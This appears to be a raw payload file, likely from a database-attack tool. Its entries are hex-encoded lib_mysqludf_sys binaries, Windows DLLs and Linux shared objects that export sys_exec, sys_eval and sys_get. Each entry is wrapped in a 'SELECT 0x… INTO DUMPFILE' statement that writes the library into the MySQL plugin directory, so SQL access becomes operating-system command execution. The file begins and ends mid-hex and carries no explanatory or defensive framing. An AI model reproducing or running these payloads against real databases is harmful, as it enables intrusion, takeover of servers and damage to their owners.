0000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005c80000056020000e404000000000000584000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a202020203c73656375726974793e0d0a2020202020203c72657175657374656450726976696c656765733e0d0a20202020202020203c726571756573746564457865637574696f6e4c6576656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c7365223e3c2f726571756573746564457865637574696f6e4c6576656c3e0d0a2020202020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f73656375726974793e0d0a20203c2f7472757374496e666f3e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d6963726f736f66742e564339302e435254222076657273696f6e3d22392e302e32313032322e38222070726f636573736f724172636869746563747572653d2278383622207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e504100000000000000000000000010830000f08200000000000000000000000000001d83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004b45524e454c33322e444c4c004d5356435239302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c467265650000006672656500000000000000004afe9f5a0000000058840000010000001200000012000000a4830000ec8300003484000021100000a312000000100000a4120000a3120000a0120000cc110000a31200009811000086110000a31200009811000076100000a3120000431000002e1100001a110000a91000006d84000083840000a0840000bb840000c7840000da840000eb840000f484000004850000128500001b8500002b8500003985000041850000508500005d850000658500007485000000000100020003000400050006000700080009000a000b000c000d000e000f00100011006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f62696e6576616c007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e69740000000000700000100000006d3c683e6c3e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 INTO DUMPFILE 'C:\\\\Program Files\\\\MySQL\\\\MySQL Server 5.3\\\\lib\\\\plugin\\\\udf.dll';lib_mysqludf_sys_64.dll1SELECT 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000e80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000677cbfda231dd189231dd189231dd18904dbbf89211dd18904dbbc892a1dd18904dbaa89261dd189231dd0890f1dd18904dbac89211dd18904dba089221dd18904dbab89221dd18904dba989221dd18952696368231dd189000000000000000000000000000000005045000064860300a727a15a0000000000000000f00022200b020800002000000010000000800000109f000000900000000000100000000000100000000200000400000000000000050002000000000000c000000010000000000000020000000000100000000000001000000000000000001000000000000010000000000000000000001000000098b2000008020000b0b10000e800000000b00000b00100000050000050010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000800000001000000000000000040000000000000000000000000000800000e0555058310000000000200000009000000012000000040000000000000000000000000000400000e02e727372630000000010000000b000000006000000160000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d240209e1e421439d3bdfb7de7400000f0f0000002a0000490000d41de9feff833a007450488b05a421000049890009a24008cd4973d20a9f109c1899cd9f34272096280fb70593666d83fdb7410b30b001c332c0c3cc00c215cc92c9ba810034716a6febcc16e46c096a471853fdbf1fa4631c0fb605591688401e41c7011e00ffed6dd62b8b63bf01750f3f42088338007506c64b26ebdc01017b4e2d632b05b9e4b228ce25227ed20cd26f1f28152ab001c3f66d7bc2bf83ec38344a43895c243084b7fff6dbd90b09ff15c71f2b4885c04c8bd87512104c24df6eaeb9608707202dc4388e897c242873edcdfd33c048c7c1ff0033fbf2ae1c120976d9b75b1af7d122e901890b2dcc00be6feb166f28e3026e404848deda7fdb29f938d87459488d0d40ee4e0e813832983de4c1eb81403281480a9ee4435e4f81503281543281563261f37d4fb0018c48804028c34c49467607744e61deed584917e49260680a703c6527cd18782056c740045cf8bf33b64342188b48048b008d4c010239bd1e77d27d8bd947107543706d8045ec1be936130309884370900a00b69dee10c8980a18bc0cb3c6b00e07103fbcb37ddb0f49a585c974066f5d17b7086d21cf93cf047424ada3b9772d7110448b6949e2fa02c2eddfba52e2ce0212498d5c3001e83f0ffce85cd7fddd5febcb418b03c60430d2470d5734b70c58d7e22d0822d34313167bb75bce2618007ca01cff56677c84842f7198f4cf16c64373870d087c8c03d6e4240f79561e541e511e7292939c4e1e4b1e481e63c2425e3e1e1fcf2784ee87c71f1da0981f4c89c68685ee44241824580f6c59897486bb86db76381764bdb900d34c18284cb0db7e302d4d8bf146e8e7b901ee9b6dc1ec04e00dda4533ed4488670beef69b4ff04c39290f8413050673f215fdcfb8b9169125ac1c088be8747b418d5508e1c9b6b13ac0e6cc177c7466a04b6640fa50669047fc3f42858e1b0b9529328d7936ce6f7d61c16c304375cd8cc74803c8f56636b724d470143e51c5ba08e1d9b68d39cc1ceb13225975ad886cdbb6f050eb258bc77004cd1930ddfe9cdb803e30e2154874229245ffb176d8827811fef5887edd4d174ebe5a0eebc18424805ec606e71ada0001380c4c38f12a10f8386c04c6f0a0581a87e792317fd3dc5cd8d6d09d58747a28f2023f73b773df3e448d48406e41b80010b3748bd1f10df7c7ed33c9ab441a5356104cefa2dbe6b66c02c8d8154e1b8d54b94c350aede98d054a75890ba3b16e3b2dbc3133d2c7d0208925183bdf19b7b3bad2c80df2199d30ac581e29eb081433c0922fb384f13be0064ceb0033c029001bb0dfb65538ec024510ff10c9196600fb6f7f6c900390483b0d89293f751148c1c11066f7dddd6fdfb87502f3dac1c910e9150aeccc405361203b8b7d1b5801a05fdcd25b0bfbeef7f685dbc905112fd005020675098d430185bb76efb6205b42c703d59b0d3c48b406634136670b1c5805b12006615bd85bc3cf55d27f6cc7c7c376fc608468e140dcfbf1c2c63831e83be141bdd20f8503ee46bb7408075ee428073c0f8e0d8de6b61b6e2bc58ed3105fdcfd3e76fb0fb12d602e0a741ef290b9e803c91d19bfdb36931d4275e841320783f802740fb9ef6dc3b31fb70eca0208e2ed0d2f2e338e740fd2111912f874491412fc18dadc0b1fd958f847df72165f1803b6bb2d701e4ad0c9eb081573ed12ecf6bedbcf2774192d06429bd72d0698fbfb66d833db891db80e871db906716fc7feb59806e5413bd5dde26541042530bb7dbbbd002c0978081e8bf3f048b93d883072b0b7920a63c7741ad64618d7d29b2f1c6b75e3eb037bf5a79a5ed6390c950cdaeb3fea1f9f7db7f08e8f080644892d312d1bc485c0678fed62771a15e5de0dd6181abe7fddbbeec7050725024585f67507b404bb833d14ddc96e73068b212a0b2d5c6f11dedd264fe3029cf12c66012d3a273e9e9ebe10c58f38d240e468ec98717a60dce91748c3b14d22190f6c20483a5adbf308505851f0dd05bbee77df3d041f208915d12695d275133915d709ed7f38c3750b5a17c61e83fa017405040add6be00275338931d39d08a3b71b0d34c84e20c574134ac68b07863db9d7a64bfc1616e0c9016b3c1a0edc83ffb092ebda1535ab311bc11bdb5b0bd80c430c1dc817084d7bf787755c0b1841ffd385ff88ff03753970f79d75094a08aeeb8d1ca51e36ec648b171028adeb06d8192ecc298adc25f3008bc3659e8793708b218b8bf8b59d9e2a4055bf15eaa3894d7afab61b01018b080724b0d67d5d902dd9c2302f5e7d0ab1485825ff4ddb960c1e92387d2eda02f101d7136fa3f875056c0cfcfa7d918844a4fd258b036983eb2f9e8e090cefc6f852a1899e2681ec880068cd760dbffe73153f156705b8c648f25845b7390cb8283d1f2c586170c339def61624eb754148b73dc6364238004044230430090e662fcf40280578254703055c73874c1c51494e7d4bb1077f4bf0eb222b8093447bdd837d738d0e83c00812d13e8d67db7b642a059b240d20902f9c5ba25b701c2a7214097bc009cc3e1e666c926724766e833572dbff0b70dc7a142f482c38b0bb2493827b8ef083d2396a14019b15650ccb36dc9255b624c80a271b83d76c1854ba6a234e336b1784f781c4aca041592947a626231c0fd8cf53188186d9ef0d68295a4a148a8ef8ececcdd64427cb1366eb75b908674b32d21dea902d3a1c1128106464200a8b83af334463971bcb36e418c323db83a238243d05f62809993959b611402bdc678c90c136de1bc3017f37320296247f15f4f6120d6276d81bc00383e8013c2075643f289c8d3d53041a787f4b8d1d4c068d13a08491790ec372b3326129a9ef4f137f2344720cc96681394d5a75fcb7c3ff174863513c813c0a5045e1137c0a180b020f94c063e343029f4c63413cfec9b4ebed8d7ed24c03c1413c4014450458064525ffc25f6a4ab10018741f8b510b3bd2720a8b4108ed6ff8db03c209d072104183c113c128453bcb72e16fc796b05d1cc1c3cf4cc1267af7446992e1da85dcbd1f4c2bc15feafb5abed0140ccd0f3a24c1e81f600d2cfef7d083e001eb02584fd644ab360196ebcac0b66c3008eec18b01a7ffaa128d3cc77627252205cc11ce78dca606cb113f75463da70ff0dd4603241b471eb801000000277c29847f3fe520000081bff83c3dfc32a2df2d992b7dc7f83074149d6fa3d00e7f5dc6268b2dc285586b212430bc6286b6489934e10ab9b4c856e04671d849460bb50e731c0eb110d9be10a8d813fe6a4cb84c33dbceb8ff00856037ba1623e9b8338975dde016b1df744d44d89c1d39b705dbdd8449f7d3093720d2fbdc4b4646463605dee0e2e4b24746465e505a11000055c9a8aa298064547fb017d8069017303007d04e6f206172ffffdffe67756d656e7473096c6c6f77656420287564663a206c69625f6d79730bf6b7dd716c0d5f73085f696e666f29411c80edff232076657273696f6e20302e0134ededee17a178706563744b657861076c79201a6dbb7dfb652073747243672074791b2070766175d8299b6d21724f2f7477996d60010b1f438ef6f603fb72206e616d4c436f756c246e6f74cce8b66d3b63611320186d27796372ff850740310106023532023001240d0024f6ffb7ffd407001fc408001a740b15640c0010540b000b340a0004822776bbdcfe1918090018c40f13740e640b093427b763d4ed046217d41e5e3f1903241aedbacf2c5007390f2a07801abbdc6e8367165b16743711640c340b7bd85b770442130c390c01118350118b9b6df705530133871c03e4001d5d90ed60430e057b743f09baeeb0d80401072f67079403a06077dbc10701462f462b1074092f0db6d94e3416033b01000715bb0bb6bd971574062f64f7df21000884ddb640ae043439741f00bf20eeecedb6140629034c341f0ba903e1c2debe240f05c305340a13234bd36d9b6e23431e14c45f0f470a75b713760554094b01098909a2071e7de572bb1f1e742f12640d34870142b71582bb2e1311cf0c03ca96dd0e01380f387427005124a3aafec10246ddcd5d20d266d4ff555516c900178fa02a1b003011764bd56c039180bfa007e0126dd79ddd03703407f803680b0013026a76fbba8603540b14021814170b581590fb2f07d9eeecf60a150310340727030034075bd5b9dd7003e0336f0724b3cc755dd7750b30074203ac0b9007f5b61b94db03c03233920c1903c8ba05a0eb0b10074f8be80b508375afeb077303444707990ba0b65dd77507e503280bf0073a1c033c0038b7eb0b5007f71ca70b77b63bdb8b191d2f2007381dcb40071dac7b5d83036c8307d30b601e9ded5eb3039b7c5f07c11e3be0d0ae3bdb07031f3b1007d6039c33ca1255954a005525a3aaa8aa9251645455c9d09ba0887c0402c4ff16360157616974466f7253ac7f2b40fc6c654f626abd14566972747561f63703c46c419a0d536574456e76126dbf01e26f6ee45661726961622b41eb2e40bc18437265b8546806640df65bf76d47264375727222502a636573734914e283cd1226135469636bb6fd6e03026e6b517565727950036684dedbb1f66d616e3716657218446973676fdbdbcf374c6962727879436192731a52746c633bb76d0970a2722d2c7874124cbdb5adfd6f6f6b7570463ec26916b2747279dfb5078b17cd556e77e47e4973446562736f6bed75676763a7a56583e11dfeb6b77268616e64457883704046696ca56c85c58719f19319dab61254176d65151153daf6586b39352b537973176dfa81e87517454173426509a3dbfe434388a0895f616d73675fcc6990b3850bbf5f5f435f73708b6966285f7e267cdb766f5f64116f035f706f6922430b76db2663da5f64ce280009626b31142d325f7a13c417840b5f7b50705b6c735f330a6c212205db5accd82a58096e73ed6bc982130fd76d643ed6bad6de756c343f15416d170cdea3e0020ab52689a3b565c933a196063bc16db15b0772652508661115080d5ba1739c29709f73149bb5adb93932ae6e074d0f85d7badbc56f736a663a70105e3b84ed70705831747b6d343fdf15f4c700f08c21180800e264860600a76efb0fe327a15ae6f00022200b020808120cb07744b314132e0010000005cf1e6c9b02020433050002088000c302f663146d160100022e063af76c650f0a50394330908de8db88223c1460e2d880d4bd0118020183703aacbb024b00303a011e4644a42b2e1054822d3bd810901200dc00b3dbc63b6f602e7264a76108550b53597761dd000c03162740022e26291b61f600d805100c22273616ececc02e702850eb27244fd820fc007273726300136027b3c7013226650942fca664b0702728421b4036c08d6d05ca7212d3060000000000009000ff0048894c240848895424104c8944241880fa010f854502000053565755488d35cdf0ffff488dbe0080ffff5731db31c94883cdffe85000000001db7402f3c38b1e4883eefc11db8a16f3c3488d042f83f9058a1076214883fdfc771b83e9048b104883c00483e9048917488d7f0473ef83c1048a10741048ffc0881783e9018a10488d7f0175f0f3c3fc415beb0848ffc6881748ffc78a1601db750a8b1e4883eefc11db8a1672e68d410141ffd311c001db750a8b1e4883eefc11db8a1673eb83e8037217c1e0080fb6d209d048ffc683f0ff0f843a0000004863e88d410141ffd311c941ffd311c9751889c183c00241ffd311c901db75088b1e4883eefc11db73ed4881fd00f3ffff11c1e83affffffeb835e4889f7b900120000b2004889fbeb2c8a074883c7013c80720a3c8f7706807ffe0f74062ce83c0177233817751f8b072500ffffff0fc829f801d8ab4883e9048a074883c70148ffc975d9eb0548ffc975be4883ec28488dbe007000008b0709c0744f8b5f04488d8c30b0a100004801f34883c708ff96eca1000048958a0748ffc708c074d74889f94889faffc8f2ae4889e9ff96f4a100004809c074094889034883c308ebd64883c4285d5f5e5b31c0c34883c4284883c704488d5efc31c08a0748ffc709c074233cef77114801c3488b03480fc84801f0488903ebe0240fc1e010668b074883c702ebe1488baefca10000488dbe00f0ffffbb00100000504989e141b8040000004889da4889f94883ec20ffd5488d871702000080207f8060287f4c8d4c24204d8b014889da4889f9ffd54883c4285d5f5e5b488d4424806a004839c475f94883ec804c8b442418488b542410488b4c2408e91f79ffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005cb0000054010000e404000000000000586000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d6963726f736f66742e564338302e435254222076657273696f6e3d22382e302e35303630382e30222070726f636573736f724172636869746563747572653d22616d64363422207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e0000000000000000000000002cb20000ecb1000000000000000000000000000039b200001cb20000000000000000000000000000000000000000000044b200000000000052b200000000000062b200000000000072b200000000000080b200000000000000000000000000008eb200000000000000000000000000004b45524e454c33322e444c4c004d5356435238302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c46726565000000667265650000000000000000a727a15a0000000074b30000010000001200000012000000c0b2000008b3000050b300007010000060100000001000008015000060100000701500002014000060100000901300000014000060100000901300003011000060100000c010000000130000e0120000a011000089b300009fb30000bcb30000d7b30000e3b30000f6b3000007b4000010b4000020b400002eb4000037b4000047b4000055b400005db400006cb4000079b4000081b4000090b4000000000100020003000400050006000700080009000a000b000c000d000e000f00100011006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f62696e6576616c007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e69740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 INTO DUMPFILE 'C:\\\\Program Files\\\\MySQL\\\\MySQL Server 5.3\\\\lib\\\\plugin\\\\udf.dll';lib_mysqludf_sys_32.so1SELECT 0x7f454c4601010100000000000000000003000300010000007009000034000000581200000000000034002000040028001900180001000000000000000000000000000000f80e0000f80e00000500000000100000010000000010000000100000001000000801000010010000060000000010000002000000141000001410000014100000d0000000d0000000060000000400000051e5746400000000000000000000000000000000000000000600000004000000250000002a0000001400000008000000270000001d0000000000000000000000030000000000000011000000000000000a0000002900000012000000200000000000000000000000260000000c0000002100000017000000230000000d000000000000000e0000001c000000150000000000000006000000000000000000000010000000220000000f0000002400000019000000180000000000000000000000000000000000000000000000000000001a0000000200000013000000050000000000000000000000000000000000000000000000000000001f00000001000000280000000000000000000000000000000000000000000000070000002500000016000000000000000b00000000000000000000000000000000000000000000001e0000001b0000000000000000000000090000000000000000000000040000000000000011000000130000000400000007000000010804409019c7c9bda4080390046083130000001500000016000000180000001a0000001c0000001f00000021000000000000002200000000000000230000002400000026000000280000002900000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe1200000000000000000000000000000000e7000000000000008d00000012000000c2000000000000005c00000012000000ba00000000000000e7040000120000000100000000000000000000002000000025000000000000000000000020000000ed000000000000007e02000012000000ab01000000000000150100001200000079010000000000007d00000012000000c700000000000000c600000012000000f50000000000000071010000120000009e01000000000000fb00000012000000cf00000000000000700000001200000010010000000000002500000012000000e0000000000000008901000012000000b500000000000000a80200001200000016000000000000000b0100002200000088010000000000007400000012000000fb00000000000000230000001200000080010000040d00006100000012000b00750000003b0a00000500000012000b0010000000f80d00000000000012000c003f010000a10c00002500000012000b001f010000100900000000000012000900c301000008110000000000001000f1ff96000000470a00000500000012000b0070010000ee0c00001600000012000b00cf01000010110000000000001000f1ff56000000310a00000500000012000b00020100009c0b00003000000012000b00a30100007d0d00003e00000012000b00390000002c0a00000500000012000b00320100006b0c00003600000012000b00bc01000008110000000000001000f1ff65000000360a00000500000012000b0025010000fc0b00006f00000012000b0085000000400a00000700000012000b0017010000cc0b00003000000012000b0055010000c60c00002800000012000b00a90000004c0a00008800000012000b008f010000650d00001800000012000b00d7000000d40a0000c800000012000b00005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e312e3300474c4942435f322e3000474c4942435f322e310000000200030003000000000003000300030003000300030003000300030003000400030002000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000300b20100001000000000000000731f690900000400d4010000100000001069690d00000300e0010000100000001169690d00000200ea01000000000000040b000008000000b70b000008000000e70b000008000000110c000008000000220c000008000000550c0000080000008e0c000008000000ac0c000008000000d90c00000800000004110000080000006b0a0000020f00007c0a000002030000960a000002020000ad0a000002090000430b000002090000bc0a0000020c0000e40a0000020e0000f30a0000020e00003f0c0000020e00000e0b000002010000310b000002060000560b0000020a0000680b000002120000bf0b0000020d0000ef0b0000020d00005b0c0000020d0000960c0000020d0000b20c0000020d0000e10c0000020d0000fd0c000002080000580d000002110000770d0000020b00008e0d000002070000e410000006040000e810000006050000ec10000006100000fc1000000704000000110000071000005589e55383ec04e8000000005b81c3d40700008b93f4ffffff85d27405e81e000000e8b9000000e884040000585bc9c3ffb304000000ffa30800000000000000ffa30c0000006800000000e9e0ffffffffa3100000006808000000e9d0ffffff5589e55653e8ad00000081c37607000083ec1080bb1800000000755d8b83fcffffff85c0740e8b8314000000890424e8bcffffff8b8b1c0000008d831cffffff8d9318ffffff29d0c1f8028d70ff39f173208db6000000008d410189831c000000ff948318ffffff8b8b1c00000039f172e6c683180000000183c4105b5e5dc35589e553e82e00000081c3f706000083ec048b9320ffffff85d274158b93f8ffffff85d2740b8d8320ffffff890424ffd283c4045b5dc38b1c24c3905589e55dc35589e55dc35589e55dc35589e55dc35531c089e55dc35589e55dc35589e557565383ec0cfc83c9ff8b750c8b46088b3831c0f2aef7d18d59ffe8fcffffff83f8007c53753f83ec0c6a1ee8fcffffff5f596a006a00486a218d1418f7d06a0721d0506a00e8fcffffff83c42083f8ff89c7742351538b4608ff3057e8fcffffffffd7eb0b526a016a0050e8fcffffff31c083c410eb05b8010000008d65f45b5e5f5dc35589e557565383ec18fc6800040000e8fcffffffc70424010000008945e8e8fcffffffc6000089c68b450c595b31db68840e00008b4008ff30e8fcffffff8945eceb338b7de831c083c9fff2ae5252f7d18d79ff8d043b50568945f0e8fcffffff83c40c57ff75e889c68d041850e8fcffffff8b5df083c40cff75ec6a04ff75e8e8fcffffff83c41085c075b683ec0cff75ece8fcffffff83c410803e0075088b4518c60001eb16c6441eff0031c083c9ff89f7f2ae8b4514f7d14989088d65f489f05b5e5f5dc35589e583ec088b450c833801750a8b400431d28338007414505068140e0000ff7510e8fcffffffb20183c41088d0c9c35589e583ec088b450c833801750a8b400431d28338007414505068140e0000ff7510e8fcffffffb20183c41088d0c9c35589e55383ec048b550c8b5d10833a0274095050683f0e0000eb428b420483380074095050685e0e0000eb318b520c83ec0cc74004000000008b0283c00203420450e8fcffffff8b550883c41089420c31d285c07512505068860e000053e8fcffffffb20183c41088d08b5dfcc9c35589e583ec088b450c83380175128b4004833800750a8b4508c6000131c0eb14505068140e0000ff7510e8fcffffffb00183c410c9c35589e55383ec0c8b5d1068a00e000053e8fcffffff8b4514c7001e00000089d88b5dfcc9c35531d289e583ec088b450c8338007414525268bf0e0000ff7510e8fcffffffb20183c41088d0c9c35589e583ec148b450c8b4008ff30e8fcffffffc999c35589e557565383ec10fc8b550c8b45088b580c8b420c89df8b088d440b018945e88b42088b30f3a48b420c8b00c60403008b42088b4a0c8b7de88b70048b4904f3a48b420c8b55e88b4004c60402006a015253e8fcffffff8d65f45b5e5f5d99c35589e58b45088b400c85c074098945085de9fcffffff5dc35589e55783ec10fc8b450c8b4008ff30e8fcffffff83c41085c089c275088b4518c60001eb1131c083c9ff89d7f2ae8b4514f7d149890889d08b7dfcc9c390909090905589e55653e85dfcffff81c3260300008b8310ffffff83f8ff74198db310ffffff8db4260000000083ee04ffd08b0683f8ff75f45b5e5dc35589e55383ec04e8000000005b81c3ec020000e860fbffff595bc9c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000ffffffff000000000000000001000000b20100000c000000100900000d000000f80d000004000000b4000000f5feff6ff8010000050000005805000006000000b80200000a000000f40100000b0000001000000003000000f010000002000000100000001400000011000000170000000009000011000000e0070000120000002001000013000000080000001600000000000000feffff6fa0070000ffffff6f01000000f0ffff6f4c070000faffff6f0a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000141000000000000000000000560900006609000004110000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c2e64796e002e72656c2e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000b4000000b400000044010000030000000000000004000000040000000b000000f6ffff6f02000000f8010000f8010000c000000003000000000000000400000004000000150000000b00000002000000b8020000b8020000a0020000040000000100000004000000100000001d00000003000000020000005805000058050000f40100000000000000000000010000000000000025000000ffffff6f020000004c0700004c070000540000000300000000000000020000000200000032000000feffff6f02000000a0070000a00700004000000004000000010000000400000000000000410000000900000002000000e0070000e007000020010000030000000000000004000000080000004a0000000900000002000000000900000009000010000000030000000a0000000400000008000000530000000100000006000000100900001009000030000000000000000000000004000000000000004e000000010000000600000040090000400900003000000000000000000000000400000004000000590000000100000006000000700900007009000088040000000000000000000010000000000000005f0000000100000006000000f80d0000f80d00001c00000000000000000000000400000000000000650000000100000032000000140e0000140e0000dd000000000000000000000001000000010000006d0000000100000002000000f40e0000f40e00000400000000000000000000000400000000000000770000000100000003000000001000000010000008000000000000000000000004000000000000007e000000010000000300000008100000081000000800000000000000000000000400000000000000850000000100000003000000101000001010000004000000000000000000000004000000000000008a00000006000000030000001410000014100000d000000004000000000000000400000008000000930000000100000003000000e4100000e41000000c00000000000000000000000400000004000000980000000100000003000000f0100000f01000001400000000000000000000000400000004000000a1000000010000000300000004110000041100000400000000000000000000000400000000000000a7000000080000000300000008110000081100000800000000000000000000000400000000000000ac000000010000000000000000000000081100009b0000000000000000000000010000000000000001000000030000000000000000000000a3110000b500000000000000000000000100000000000000 INTO DUMPFILE '/usr/local/mysql/lib/plugin/udf.so';lib_mysqludf_sys_64.so1SELECT 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a